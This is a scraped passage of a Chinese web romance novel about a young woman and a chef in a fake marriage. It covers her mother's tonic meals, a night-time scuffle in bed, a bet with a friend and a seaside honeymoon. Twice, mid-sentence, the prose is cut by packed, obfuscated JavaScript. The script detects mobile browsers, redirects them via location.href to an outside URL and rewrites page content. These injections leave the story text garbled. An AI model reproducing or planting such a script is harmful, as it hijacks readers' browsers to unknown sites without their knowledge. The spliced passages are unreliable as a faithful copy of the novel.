作为厨师,他比谁都清楚黑色食物的功效。 他舀了一勺黏稠的粥,黑豆、黑米、桑葚、桂圆,简直能毒死狗。 苏爱云殷切地看着他,那眼神和上次洛苏端粥给他吃的模样如出一辙。 期盼地等着他认可、夸奖。 他苦笑一下,咽下了这碗饱含丈母娘关心的黑粥。 “洛苏呢?” 餐桌边只有他和苏爱云,他感到浑身不自在。苏爱云用那种让他汗毛倒竖的眼神看着他,仿佛把他扒了个精光。 丈母娘看女婿,越看越喜欢。苏爱云咧嘴笑:“她去上班了,学校八点打卡。以后你早上不用起这么早,多睡会儿,你比较辛 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唯一遗憾的是,这一次她差点就看清了对方的脸。等她醒来的时候,发现衣服湿了,幸好黎祁已经下楼,她换了一身干净的衣服,心旷神怡地把脏衣服扔到洗衣机,然后哼着歌洗漱。 等洗漱完,衣服也洗好了,她拎着脏衣篮去阳台上晒衣服。 微风阵阵,清朗怡人。黎祁的黑色T恤被风鼓满,在风中轻轻摇摆。 洛苏看着他的衣服,脸上突然一阵发热。 都怪施蜜。她那天的话像有毒的种子,埋进洛苏的心里之后,长出了邪恶的芽。 昨天早上,黎祁照例先起床。她其实已经醒了,一直装睡,听到黎祁刷牙洗脸,然后打开衣柜拿衣服。 鬼使神差的,她屏住了呼吸。 黎祁都是到洗手间换衣服,可昨天父亲不知道有什么事,在楼下叫他。他着急下去,就干脆在房间脱了上衣。 洛苏的眼睛悄悄睁开一条缝,黎祁就在她眼前不远处。赤裸的后背很结实,肌肉线条清晰干净,哪怕只是一个背影,看起来都充满了野性和力量。 他套了T恤,转过身,目光飘了过来。 洛苏吓得马上闭紧眼睛,生怕被他发现。 接下来的一整天,他光洁的背就时不时浮现在洛苏脑子里。 洛苏觉得自己有病。 此时,这飘舞的黑T恤就是他昨天穿的那件。透过衣服,洛苏好像又看到了他赤裸的上身。 阿弥陀佛。 她在心里念了几句佛,这是施蜜教她的,空即是色,色即是空,用来反省自己那些龌龊的念头。但她不知道施蜜后面那句是:酒肉穿肠过,佛祖心中留。 收拾好那点儿色心,洛苏忍不住感叹,死人脸还挺爱干净。她发现黎祁每天都会及时把脏衣服洗干净,然后晒好,干了的衣服也会及时收回来叠好,放到苏爱云给他划分的区域。他讲究的程度甚至超过了自己。 洛苏视线移动,准备寻找面光的地方晒自己的衣服,可目光却诡异地去了不该去的地方。 角落里,黎祁的内裤孤单影只地在风里摇曳。 “啊,呸!” 洛苏收回视线,拿起自己的衣服抖了抖。 可眼睛好像不受控制,她两手提着衣服肩部,挡住自己,一双明明很大却贼溜溜的眼睛,掩耳盗铃般往角落看去。 没有调查就没有发言权。实践是检验认识的唯一标准。 洛苏忍不住感叹,施蜜的理论真的绝了! 越平整越均匀的就越长越大!真的是这样! 那条孤独的内□□部明显鼓起一大块,这是穿过很多次才会留下的顽固痕迹。 洛苏晒好衣服,心不在焉回了房。 这种感觉太难受了。 秀色可餐,但是你不饿。虽然勉强吃也可以吃下去,但是也许吃完就毒发身亡。毕竟越好看的食物,越可能有毒。 洛苏摇头晃脑,企图把肮脏的念头从脑子里甩出去。 女孩子,要矜持!死人脸,很难搞,帅是帅,要不起。 深呼吸几个回合之后,洛苏终于彻底身心纯净。 到了晚上睡觉的时候,她躲黎祁更远。 黎祁不明就里,但也习以为常。洛苏不主动说话,他是绝对不会主动自讨没趣的。翻个身,视而不见。 洛苏在黑暗中翻来覆去,她知道黎祁也没睡着。因为他的呼吸很不均匀,似乎也有烦心事。 她裹紧被子,没一会儿又觉得热,已经是六月份了,晚上根本用不着盖被子。她只好又一脚踢开。 这一脚带了情绪,力度有点大,踢过了界,踹到了黎祁小腿上。 “干嘛!”黎祁也有点不爽。 “失误……失误……不……不好意思。”洛苏结结巴巴,差点咬到自己的舌头。 她把黎祁的话听成了“干吗”。 27. 直男 洛苏觉得自己肯定是病了。不是心梗就是幻听。 她差点就要跳起来对黎祁从内到外进行道德批判。 “干什么干!” “没想到你竟然这么下流!” “你别过来,你忘了我们的协议吗!” …… 剧本都编好了。如果黎祁不承认,她正好可以占据道德高地狠狠嘲笑他一番。可,如果黎祁承认了呢? 干还是不干? 洛苏承认,她对那事儿其实很好奇。但是没有爱的性,她做不到。也许有些女人可以无爱而性,但她不行。哪怕那事儿和施蜜说的一样,很爽,可她也不想和不喜欢的人做。 胡思乱想一通,洛苏才发现是自己听错了。也对,黎祁那副眼高于顶的样子,怎么可能说这么下流粗鄙的话。她的台词根本没有施展的机会。 原来心脏的不是黎祁,而是她…… 洛苏知道自己不是什么善男信女。她厉害、精明、八面玲珑,还有点市井小狡猾。但她绝对是个本性善良、人品高洁的好女孩。 洛苏开始进行深刻的自我批评。嘴里无声念叨,十分虔诚。 黎祁心烦气躁,觉得身上像着了火。没察觉到身边人跌宕起伏的情绪,他在烦自己的事情。 一连五天,苏爱云把所有壮/阳的食物轮番排列组合给他吃。他很想拒绝,但他知道,如果他开口,一定会出现这样的对话。 “妈,您不需要给我吃那些东西。” 苏爱云咂舌,一脸震惊,然后露出恍然大悟的微笑,嘀咕着“身体真好”之类的话,不出半天,宝庆楼所有人都会知道他“身体很好”。 “妈,您不需要单独给我做药膳,太辛苦了。” “要的要的,我不辛苦,你比较辛苦。” 然后两人就谁比较辛苦进行一场旷日持久的争论。 …… 根本无法沟通。 而且他很生气。这些欲盖弥彰的药膳仿佛在告诉所有人,他需要补补。 他,不,需,要! 职校里,一打五一战成名的人,会需要那些莫名其妙的东西? 但他没法澄清。只能早晚两顿吃下那些黑乎乎的东西,感觉和吃毒药没什么区别。他早就是饱满的气球,苏爱云还不停打气,生怕他漏气,却不知道他已经快爆炸了。 刚才洛苏踢到他,冰冰凉凉但柔软嫩滑的皮肤触到他腿上,像干涸已久的大地终于迎来了期盼已久的乌云。但这云只是障眼法,很快就散去,并没有带来及时雨。 他更不爽了。这对母女,一个好人都没有! “你……” 黎祁清冷的声音打断了洛苏的精神洗礼。 “干什么!”她犹如受到惊吓的兔子,猛的往里缩了缩,警惕地瞪着黎祁。 黎祁觉得她的样子很好笑。明明眼里闪着精光,却装得很无辜很柔弱,他知道,他只要放下戒备,随时会迎来“断子绝孙脚”。 “你能不能跟你妈说说,别给我做那些奇怪的药膳。” “药膳?” 洛苏早出晚归,不知道苏爱云做了什么给黎祁吃。以为就是普通的清粥小菜,和父亲的一样。 “我现在看到什么黑豆、黑米、枸杞、生蚝就想吐。”语气中是毫不掩饰的厌烦和不耐。 洛苏有点火了:“我妈好心好意给你炖药膳,你不领情就算了,至于这么讨厌吗?简直是好心当成驴肝肺!” “哼——”一声冷笑,“要不你试试?” 洛苏火更大了,阴阳怪气就是欠揍!“不吃就饿着!” 一脚踹了过去。 她不能忍受任何人批评她的父母。他们是那么好的人,怎么会有人不喜欢他们呢?除非不是人。 黎祁早有防备,精准捏住了她的脚踝。微凉和火热相碰的一瞬间,他觉得身上的火似乎小了一点,可心里的火燎得更高了。 “你最好别惹我,否则吃亏的是你自己。” 洛苏最恨被人威胁。这辈子唯一一次就范就是答应假结婚。 黎祁话音刚落,另一只手也捉住了一个柔软的脚掌。 洛苏小时候学过两年舞蹈,底子还在,反应极快地用力一拱膝盖,差一点就顶到黎祁的下巴。 黎祁彻底被她惹恼了,手腕微一用力,洛苏被他拽到了身下。 “死白豆腐,你是不是有病?” 被他身影笼罩,夜色更浓,洛苏只看得见他漆黑发亮的眸子,闪着危险的光芒。 “我警告过你,别惹我。”他手上越发用力,那冰凉的触感让他觉得很舒服,像解药。 “你弄疼我了!恃强凌弱,算什么英雄好汉!”洛苏感到被他握住的脚踝似乎被勒得更紧了,火热如脚镣。 “呵,我什么时候说过我是什么英雄好汉了。我记得我早就告诉过你,我不是什么好人。” “我有判断力,你是不是好人,我知道。”黑暗中,洛苏放柔了声音,密切观察着他的一举一动。要打败对手,就要找出他的弱点,然后一击即中。 脚上的钳制似乎松懈了。她看准时机,一个“断子绝孙脚”踢了过去。 “你放开我!” 洛苏头埋在枕头上,声音有气无力,两个手腕被黎祁别到身后紧紧捏住,他的一条腿压着她两条腿,她动弹不得,像他砧板上待宰的鱼。她只得努力扬起脖子瞪着身侧眼神冰冷的人。 她筋疲力尽,而他好整以暇,好像是逗猫一样轻松。承平日久,她忘了他是一匹狼。 “还踢吗?” “……” 洛苏感觉很屈辱,硬撑着不回答。 “嗯?”黎祁鼻子发出低沉的声音,洛苏听在耳朵里,竟觉得有那么一点挑逗意味,毕竟挑衅和挑逗的界限只在于当事人的关系。 如果是两个陌生人,那就是赤裸裸的挑衅。 可在同一张床上的两个人,那就是另一种肉搏。 他气息强烈,洛苏感到一阵阵热意从背后袭来,男人都这么热吗?她有点好奇。 黎祁压低身子,凑到她耳边,开始谈条件。“认输吗?只要你解决药膳的事情,我就放开你。” 洛苏被他按住不能动,憋得脸通红,艰难地说:“她是一片好心,你至于这么不知好歹吗?” “好心?要不你试试一连五天吃那些鬼东西?” “什么鬼……东西……”洛苏回想他说的药膳,黑豆、黑米、枸杞、生蚝……都是很健康的食物啊!烤生蚝,她可喜欢吃了! “绿色健康,你是厨师你不知道?”洛苏觉得黎祁真是不可理喻。 “绿色健康?”黎祁冷笑一声,反问:“我看起来需要补肾吗?” 所有的声音戛然而止,空气瞬间凝固。 妈妈跟着凑什么热闹啊!洛苏又气又窘。 “行行……我明天跟她说,你先放开我,我手快断了……”洛苏俏脸绯红,声音好像被拉扯着揉碎了。 黎祁松开了对她的钳制。洛苏揉着手腕,低声嘀咕:“切,谁知道!” 还没享受够自由的滋味,她再次被按到了枕头上。黎祁低头,嘴唇故意贴着她耳朵,声音温柔缱绻:“你想知道吗?” 人不能被一个家庭里两代女人轮流欺辱!黎祁恶意地想,他不信洛苏会不怕他。 他呼出的热气像羽毛拂过洛苏的耳根和脖子,她身上起了鸡皮疙瘩,幸好没开灯,黎祁看不到她红透了的脸。 在洛苏的世界里,她可以觊觎黎祁的美色,那是垂爱,是赏脸。但黎祁不能对她有非分之想,如果有,那就是下流是无耻。 就是这么不公平。 打是打不赢的。面对明晃晃的挑衅,洛苏心里的胜负欲被彻底激起来了。 最好的防守就是进攻。非礼别人总比被非礼要好一点。起码可以挑选对象。 她定定神,吞了口口水,然后以迅雷不及掩耳之势在黎祁脸上亲了一口。“吧唧”一声,提神醒脑。 她知道黎祁不需要补肾,但他需要补脑。一个出生就在孤儿院的人,一个特立独行恃才傲物的人,大概是不懂处理亲密关系的,虽然他们是假结婚,但由结婚而产生的一系列关系却是真实存在的。他是她合法的老公,是她父母名正言顺的女婿。但实际上,他和孤家寡人没区别。 “你干什么!”黎祁慌得马上松开她,甚至后撤到床边。 洛苏想笑,硬生生忍住了。黎祁果然和她想象中一样。上次一个拥抱吓得他像触电一样把自己推开,她就已经认定了,他要么是gay,要不就完全没谈过恋爱。 如果是一个正常男人,早就如狼似虎般扑了过来。就算是正人君子,面对漂亮姑娘主动献吻,半推半就后也多半化身禽兽。可黎祁,真的好像被非礼了一样,没有一丝窃喜,只有恼怒和无措。 “你不是问我想不想知道吗,这就是我的答案。怎么,你不敢?” 洛苏上下打量他,故意把视线落在某个特殊位置。那意思不言而喻。 黎祁不回答,在黑暗中静静看了她一会儿,然后默默翻身躺下,不理她。 洛苏知道他生气了,她偏偏还想火上浇油,反正她已经试出了他的底牌,还有什么好怕的。 “你不会没谈过恋爱吧?或者你其实喜欢男人?”洛苏故意凑近点,像个无赖一样,嬉嬉笑着。 半晌,黎祁的声音传来,“关你屁事!”明显压抑着怒火。 洛苏简直高兴得要笑出声。果然是没谈过恋爱的大直男! 洛苏也遇到过几个gay,他们的气质说不上来的怪,大概和直男的最大区别在眼神。他们看女人的时候,是那种看情敌的眼神,但是看到色相好的男人,反而是直男看到大美女那样不遮掩的垂涎。 黎祁不是。不论男女,他一视同仁地讨厌所有带着欲望的凝视。 洛苏见好就收,不想再继续刺激他。其实她还想问,你不会还是处男吧? 算了,慢慢来。她怕真的把他惹恼了,把床掀了。毕竟明天他还得上班,宝庆楼不能没有大厨。 洛苏哼着小调,喜滋滋躺下,一夜好梦到天亮。 第二天,她还是找了个机会跟母亲说了药膳的事。苏爱云有点诧异:“真的不需要吗?” 楼上隔三差五就有激烈搏斗的声音,就这,都不需要补补?她瞅瞅女儿神采奕奕的模样,很想告诉她这个傻女儿,没有耕坏的地,只有累死的牛,自己的男人得自己心疼! “不需要不需要,您要真想煮,我吃行了吧?”洛苏不想让母亲扫兴,怕她觉得是自己煮得不好。她很懂事,从小就会照顾父母的情绪。 “你吃个啥!一边去!”苏爱云嗔他一眼,把刚刚拿起的小炖盅放了回去。还是有点不放心:“真的不用吗?小黎白天黑夜的……” 洛苏憋笑憋得脸红:“妈,真不需要……” 吃晚饭的时候,洛玉柱提起要装修的话题。宝庆楼上一次装修还是十年前,现在店面的装饰早已经陈旧不堪,和蒸蒸日上的生意完全不匹配。一家有名气的老字号,装修可以古朴,但不能古老。 可装修就要歇业。少则十天半月,多则一两个月。这期间有客源流失的巨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207664|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大风险。前车之鉴就在眼前,这条街上本来有家生意兴隆的牛肉面馆,虽然店小,招牌都掉漆了,但无数食客就是要大老远来吃这一口,根本不在意店面大小。老板想扩大生意于是歇业一个月整修店面,结果重新开业后,生意一落千丈。商场如战场,瞬息万变,能挣钱的时候一定要抓住机会。 大家不敢随意发表看法。洛苏想了想,“爸,我觉得装修还是要做的,但是装修也分豪装和简装,我觉得咱家现在的问题不是不够豪华,是太旧了,首先这些桌椅板凳就得全换掉,干干净净的客人才有胃口,另外墙皮铲一铲,重新刷一下就行了。风格主要靠软装,硬装简单点就好。” 洛玉柱点头,他也是这么想的,又扭头问黎祁:“小黎,你觉得呢?” 黎祁不管大堂,厨房才是他的地盘。“我只有一个建议,把厨房和大厅相隔的这堵墙拆了,做成明厨亮灶。” 洛苏和父亲对视一眼,彼此心照不宣。 明厨亮灶对厨师的要求更高,无异于架起一个监控,所有客人都是摄像头,厨师的一举一动尽收眼底。但凡有一点不合规范的操作,都可能被记录下来并无限放大。 “这……有必要吗?”冬瓜疑惑不解,这不是给自己使绊子吗?他也是厨房的一员,如果明厨亮灶,他也是被监督的一员。 “完全有必要。”黎祁语气坚定,“现在很多连锁餐厅已经是明厨亮灶了,虽然要求更高,但只有对自家厨房绝对自信才敢明厨亮灶,不管客人关不关注,这已经是一种底气。换位思考一下,如果你出去吃饭,看到店家明厨亮灶,是不是也会觉得更放心?” 洛苏很少看到黎祁一口气说这么多话。上一次他说这么多是为了让父母同意他们结婚领证。洛苏发现只要说起做厨的事情,他就能滔滔不绝,脸上洋溢着胜券在握的自信和意气风发。完全看不出这是一个在孤儿院长大的人。 明厨亮灶意味着工期更长,至少半个月。洛玉柱思考了一晚上,同意了。之前也有几个老熟客提过,店面太老了,该装修了。老话说得好,佛靠金装,人靠衣装。 找好装修公司,设计好方案,把歇业通知贴出去,装修就开始了。所有员工放假半个月,工资发一半。老豆放假也没事,自觉充当监工。 苏爱云想起洛苏的小房子也要装修,干脆就一并装了,免得又另找装修公司,散几个月味儿,过年正好入住。洛苏只得选好方案,也没问黎祁的喜好,就开始了。 学校快放暑假了,考完期末考试,洛苏就迎来了她最喜欢的暑假。暑假比寒假时间长,又是夏天,她最爱抱个西瓜,在空调房里追剧听歌,或者修照片。晚上再去江边溜溜弯,吹吹风,别提多惬意。 可这个暑假,苏爱云破坏了她的计划。 “度蜜月?”洛苏打开母亲发给她的链接,目瞪口呆。 一向节俭的母亲竟然铁公鸡拔毛,出钱让她和黎祁去度蜜月?!! 洛苏确信没看错,这是她自己完全不舍得花钱住的五星级酒店。而且是旅游旺季,贵得吓人。 “妈,你太奢侈了吧!这么贵!”洛苏大声嚷嚷。 苏爱云白女儿一眼,示意她声音小一点:“别叫别叫,别被小黎听到了!贵点怎么了!前段时间生意那么好赚了点钱,不都是小黎的功劳吗?再说,我就你这一个女儿,钱不给你花给谁花?” “那您可以直接把钱给我,度蜜月用不着。”洛苏嘀咕,她和黎祁去度蜜月?那是蜜月吗?是付费坐牢吧! “胡说八道!正好让小黎歇歇,出去散散心,你要对人家好点!别整天急赤白脸,大呼小叫的。” 洛苏不服,怎么黎祁好像才是亲儿子,她成了做什么错什么的儿媳妇了? “机票我也订了,喏,明天就走,赶快收拾收拾吧!” 洛苏突然后悔教母亲玩那些APP,没想到有天会着了她的道。 “您怎么知道黎祁的身份证号?” “这还不容易,结婚证上不就有么?”苏爱云得意洋洋。 “妈,您不会趁我们上班,又‘帮我’收拾房间了吧?”这是苏爱云的老把戏,以前洛苏没结婚,她就每天帮女儿收拾房间,顺便指责她不收拾不讲究,邋里邋遢。 洛苏特地把结婚证藏在了柜底,据说离婚必须要结婚证,可不能弄丢了。 “顺便顺便……”苏爱云打着哈哈,转去了院子。 洛苏突然有种不好的预感,她的结婚证……可能已经不在了。 黎祁也不想去度什么蜜月。那是真结婚的夫妻才需要做的,而且小橙子放暑假了,他想趁着装修放假多带他玩一玩。 “我能不去吗?你自己去。” 洛苏瞪他,语气不善:“我自己去?然后我妈给我视频,问你在哪儿,我怎么回答?说你死了?” 黎祁被她怼得没话说,根据协议,他的确有义务去度蜜月。 苏爱云想得周到,夏天往北走,她选的蜜月地是北方久负盛名的海滨城市。飞机发动机“轰轰”的声音吵得洛苏头晕,空调冷气太足,她有点冷,忍不住往黎祁那边缩了缩,蹭着他的热气,迷迷糊糊睡着了。 醒来的时候飞机已经快落地了,空姐正在挨个提醒乘客收起小桌板。洛苏这一觉睡得很香,感觉身上软绵绵的,靠着的地方又暖又宽厚,很有安全感,就像小时候睡在爸爸妈妈的怀里一样。 她轻轻抬头,黎祁的下巴在她头顶,她的头靠在他肩窝里,他的手还揽着她的腰,他也睡着了。这个姿势洛苏并不陌生,许多个先醒来的早晨,她都是这样窝在他的胸口,睡得很踏实。 28. 赌局 洛苏想起前一天晚上和施蜜逛夜市时说的话。她把黎祁避他如蛇蝎大概率是没谈过恋爱的理论讲给施蜜听,施蜜听了哈哈大笑,笑完却一针见血指出洛苏的不对劲。 “你干嘛那么在意他的反应,他谈没谈过恋爱和你有关系吗?反正是假结婚。” 洛苏愣了一下,反应很快:“就是觉得好玩嘛,他都二十六七了,还没谈过恋爱,这也太离谱了吧!” 施蜜阅男无数,撩过的男人没有一车也有一个足球队,她竖起食指晃了晃,故作高深地说:“一个适龄的长得很帅的男人,没谈过恋爱不是gay就是因为心理问题。据我推测,他应该是有亲密关系恐惧症。” 洛苏点头赞同,她对黎祁的看法早已经发生了变化。 初识时,她以为他是天生一张臭脸,对谁都爱搭不理。但经过半年的相处,她觉得他不是不想,只是不会。他不知道怎么和人建立亲近的关系,他对猫猫狗狗都温柔又耐心,绝对不是一个冷漠的人。 “这种人会对建立和维持亲密关系感到恐惧进而采取回避态度,面对追求会逃避,你看他对那些偷拍他、对他示好的女生是不是一脸厌烦。而且也会抗拒和人有身体接触,也不愿意分享自己的感受,把自己封闭在他觉得安全的小空间里。他会这样大概率是因为他没有感受过爱,所以对所有人都不信任,把自己和别人隔绝起来才有安全感。” 施蜜说得头头是道,洛苏两眼崇拜:“美女,你真是学识渊博啊!这说的完全就是死白豆腐啊!”她没把黎祁是孤儿的事情告诉施蜜,宝庆楼的其余人也不知道。她觉得这是黎祁的隐私,除非他自己想说,否则不应该由别人来说。 “切!我什么男人没见过!”施蜜白她一眼,有点忿忿,“我攻略过一个这样的男人,也很帅,和你那个白豆腐差不多,一棍子打不出个屁。帅是帅,闷死人!” “那你搞到手了?”洛苏想偷师。 “没有。”施蜜摇头,似乎还心有不甘,“没意思,我追了一个月就撤了,这他妈不是人干的事,我宁可选择油嘴滑舌的渣男也不想和这样的男人在一起,我怕我会被他们气死。” “哟哟,还有施大美人搞不定的男人啊!开眼了!我都想见见这位英雄了!” 施蜜听出洛苏语气里的调侃,不爽地吃了一口烤串,激她:“你行你上啊,姐姐我给你吹冲锋号。” “我上什么上,我又不喜欢。”洛苏摇头,喝了一口可乐。 “真不喜欢?”施蜜凑到她脸前,捏捏她的白脸蛋,一脸了然于胸的模样,“真不喜欢你跟我说话三句不离人家?你上学的时候研究作业的劲头都没你研究那块白豆腐的劲头高!” “你别污蔑我,我什么时候三句话不离他了?这不是跟你说明天要去旅行的事情吗,要不是我妈自作主张,我怎么可能跟他一起去?” 洛苏也觉得自己很怪,明明不喜欢,但被施蜜这样一说,好像她真的对那块白豆腐有意思一样,心慌脸热,只想狡辩。 “你看,又开始了。”施蜜笑得直不起腰,捶着桌子说:“食色性也,有什么不好意思承认的?” 施蜜的逻辑很简单,喜欢就上,考虑那么多干什么?先睡了再说! “我再说一次,我真的不喜欢他!你再笑,我跟你翻脸啊!” 洛苏气急败坏,掐着施蜜的脖子摇了摇。 施蜜止住笑:“我知道你很急,但你先别急,亲密关系恐惧症不会喜欢任何人,就算喜欢谁,也不会承认、不会主动只会逃避,就算你喜欢人家也没用!人家不喜欢你!” 施蜜一脸轻蔑,根本不相信洛苏这个小处女的斩男力。 洛苏被她这么一顿揶揄,骨子里那股不认输不服气的劲儿上来了。她才是掌握主动权的那个人,她可以不喜欢黎祁,但如果她喜欢,那么黎祁就得喜欢她。脱口而出:“那我要是能搞定他,你怎么说!” 施蜜憋住笑,认真思考了一会儿:“这样,如果你能搞定他,我输你一个驴包。如果你搞不定,也输我一个。” 施蜜是拆迁小富婆,上着一个朝九晚五的班混日子,名下几套房收租,日子别提多快活。一个驴对她来说,不算什么。 “行,一言为定,你就准备好钱包放血!”洛苏摩拳擦掌,她和施蜜从读书玩到现在,互相都送过价值不菲的礼物,但开这么大的赌局还是第一次。一个驴她也送得起,再说,她根本不信她会输。 “不过先说好,只让他喜欢你可不算搞定。” “那怎么才算?” “睡到才算。”施蜜吃了一口肉,继续说:“反正他本来就是你老公,睡了也不算什么,除非你打算很快离婚。” 洛苏犹豫了,这局真的玩得有点大…… 她没什么奇怪的处女情结,也没打算短期内放走黎祁,那……不睡白不睡吧!自己主动睡的总比那些黏黏糊糊还没怎么样就猴急的要好。 “行吧。” “还得约个期限,半年怎么样?” …… 洛苏看着眼前英俊的脸孔,想到这个荒唐的赌局,轻轻起身从他怀里离开。 她觉得,她大概是要破财了。是哪个心理学家说的,夜晚真不能做重要决定! 五星级酒店果然服务到位,门童殷勤接过他们的行李,带着他们去办理入住。 “您好,这是您二位的房卡,请您收好。” “你好,除了我们预订的这间,另外还有没有空房?”洛苏突然有点别扭,在家里那是不得已,既然都出来了干嘛还要住一起装夫妻?反正又没有人偷听。 黎祁心领神会,打开手机准备付钱。 前台开始故弄玄虚地在电脑上查询。 洛苏心里打鼓,见前台半天没查出个所以然,主动追问:“你是不是要告诉我,你们满房了?” 电视剧里都是这么演的,不管男女主什么时候去酒店,绝对只有一间房。 工作人员露出公程式化的笑容:“不好意思,最近是旅游旺季,加上我们酒店近期有会议,已经满房了。” 洛苏死心,不情不愿跟着门童去预订好的房间。 酒店临海,刷卡开门,一股带着淡淡海水味的风迎面扑来,进入眼帘的是整面墙那么大的落地窗和无敌180°海景。 洛苏忍不住赞了一声,太棒了,她还没住过视野这么好的海景房呢!这回苏爱云真的是荷包大出血了。 黎祁不做声,默默把行李摆放好,然后送走门童,“滴滴”一声,房门上锁了。 这一声让洛苏浑身一抖,从无敌海景的视觉震撼中回到了现实。 她回头,黎祁正好也看着她。 他穿得很随意,卡其色棉质工装裤,黑色短袖T恤,脚上是一双球鞋,像个懒散的街头混子。但他的眼神不如他的姿态那么轻松,拘谨甚至戒备,见洛苏回头他移开目光,却不小心把视线落到了床上。 这是一间经过精心装饰的蜜月客房。床中心用玫瑰花摆了一个大大的爱心,墙上还扎着各种颜色相间的气球。床头柜的花瓶里插着新鲜的玫瑰花。 洛苏的视线忍不住跟着他移动。床、爱心、玫瑰…… “这次旅行就是个好机会,加油,驴包在向你招手!”登机前,施蜜给她发来消息。 “我,我去洗脸。”洛苏冲进了洗手间。 她感觉怪怪的,在家里的时候虽然也同处一室,但却没有现在这种被人虎视眈眈盯着的感觉,她觉得自己成了一块肉,黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207665|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祁才是掌握主动权的那个人。 明明开局下注的人是她啊! 洛苏打开水龙头,环视洗手间。 圆形按摩浴缸占据洗手间大半空间,施蜜跟她分享过的那些特殊场景play应景地浮现出来。 洛苏猛的甩甩脸上的水,嘴里念念有词:“阿弥陀佛!阿弥陀佛!” 手机突然“叮”的震动一下,又是施蜜。 “落地了吗?抓住机会,别让我失望。” 洛苏苦笑,姐姐,我着了你的道了!我,不敢…… 外面一片安静,洛苏贴在门上听了一会儿,这死白豆腐总是无声无息的,跟鬼一样,哪怕弄出一点点动静她也不会这么紧张。 她鼓起勇气开门,走了出去。黎祁不在房里。 她看了一圈,发现他在阳台上。海风吹起他的T恤,他手撑着栏杆,看着远处一望无际的海面。 “怎么样?不错吧?”洛苏站到他身边,瞄一眼他的脸,他看起来心情不错,没有板着脸。 “嗯。”黎祁点头,他有限的人生经历里没有度假这部分内容。 职校毕业后出去工作,打工几年积攒了经验和资本就开始自己摆摊。就只是活着而已,闲暇时候最多的消遣就是骑自行车。江城湖河多,沿着绿道或者江滩骑几个小时自行车就是他放松身心的主要方式,健康又省钱。虽然也不知道省钱干什么,但是这种方式不需要跟人打交道,戴上耳机,他就是这个世界的主人。 两人在阳台上站了一会儿,空气清新干净,海风怡人,吹得人昏昏欲睡,都不想主动离开。 天渐渐暗了,洛苏的肚子“咕咕”叫了几声。她饿了,出家门之后就没吃过东西,飞机餐的气味令人恶心,现在松弛下来才发现早已经饥肠辘辘。 “去吃饭吧,你想吃什么?”黎祁转身往房间走。 洛苏一惊,死白豆腐居然会主动问她想吃什么?真是太阳从西边出来了。 她跟上去,觉得心情格外舒畅,“海鲜烧烤!” “诶,你等我十分钟,我换件衣服。”好不容易出门旅游,洛苏带了一堆漂亮裙子,就算不是用来攻略黎祁,她也打算拍很多美美的照片,这才不算白来。 黎祁抿嘴,只得耐心等。每天早上洛苏都要在洗手间捣鼓大半个小时,他在外面听着不太理解。刷牙洗脸几分钟,夏天的衣服一套不就行了?为什么需要那么久? 洛苏很喜欢这身打扮,布满大朵向日葵的吊带连衣裙,明艳又活泼,还恰到好处地突出她白皙的皮肤和纤细精致的锁骨脖颈。再戴一顶宽檐草帽,度假的感觉就出来了。 黎祁看她一眼,目光垂下去,“你不冷?” 海边晚上风大,穿成这样真的不会着凉吗?半个后背露在外面,胸口低得弯个腰就春光乍泄,这是人能穿的衣服? 他的闪躲没逃过洛苏的法眼。哈哈,乡巴佬,看呆了吧!这可是老娘的夏季战衣,只要穿出来,就没有能忍住不看的! “不冷。”洛苏对他笑笑,得意洋洋往外走。 酒店私人沙滩上已经有不少游客,烧烤bar挂着星星点点小灯,灯光柔和暧昧,音响里传来低吟浅唱,露营桌上摆着各色香薰蜡烛,香味被海风散开,情调满满。对着大海吃吃喝喝,吃饱了去沙滩上散步,累了走几步就是客房,这是洛苏喜欢的度假。 两人找了位置坐下,服务生送上菜单。 “你想吃什么?”洛苏翻着菜单,隔壁桌的肉香飘过来,她馋虫都被勾起来了。 “随便。” 意料之中的回答,洛苏勾勾嘴角不再强求,玉手一点,朗声对服务生说:“烤生蚝,一打。” 借着菜单遮掩,她看到黎祁的眉头抽了抽。 29. 吃素 “你不吃?” 海滨城市海鲜地道,只需要简单的烹饪就让人食指大动。洛苏捧着烤生蚝笑眯眯问对面一脸抗拒的人。 这里的生蚝肥硕饱满,稍微烤一下就饱含汁水,香甜可口,不管是蒜香还是原味都很好吃。洛苏吃完三个,意犹未尽。 她知道黎祁肯定会拒绝她,但她就是故意想逗他,看他闪躲逃避,让她有种彪形狼狗秒变落荒而逃小奶狗的快感。 果不其然,黎祁理都不理她,自顾自吃烤玉米。 洛苏想笑,在海鲜烧烤摊吃玉米,也只有这哥们干得出来了。 “你吃素为什么还长那么高啊?”洛苏没话找话说,就想引他多说几句,最好再喝点酒。 “我不是吃素的。”黎祁瞥她一眼,显然也知道那个网络梗。这让洛苏感到很意外。 “我以为你从来不冲浪呢,原来你也知道这个梗啊!” “我知道的比你想象的多得多。”他意有所指地瞟了一眼桌上的生蚝。 洛苏哈哈两声,心里开始策划下一步方案。 “你好,麻烦上半打啤酒,再来一份韭菜。” 黎祁勾起一边唇角,觉得洛苏很好笑。这些东西能起什么作用?如果是想知道他有几块腹肌,那未免太小看他了。 “我没摸……” 洛苏的声音从洗手间传出来的时候很低,但洗手间的门并不隔音,她和她那个脸擦得像女鬼的闺蜜的对话,他听了个七七八八。 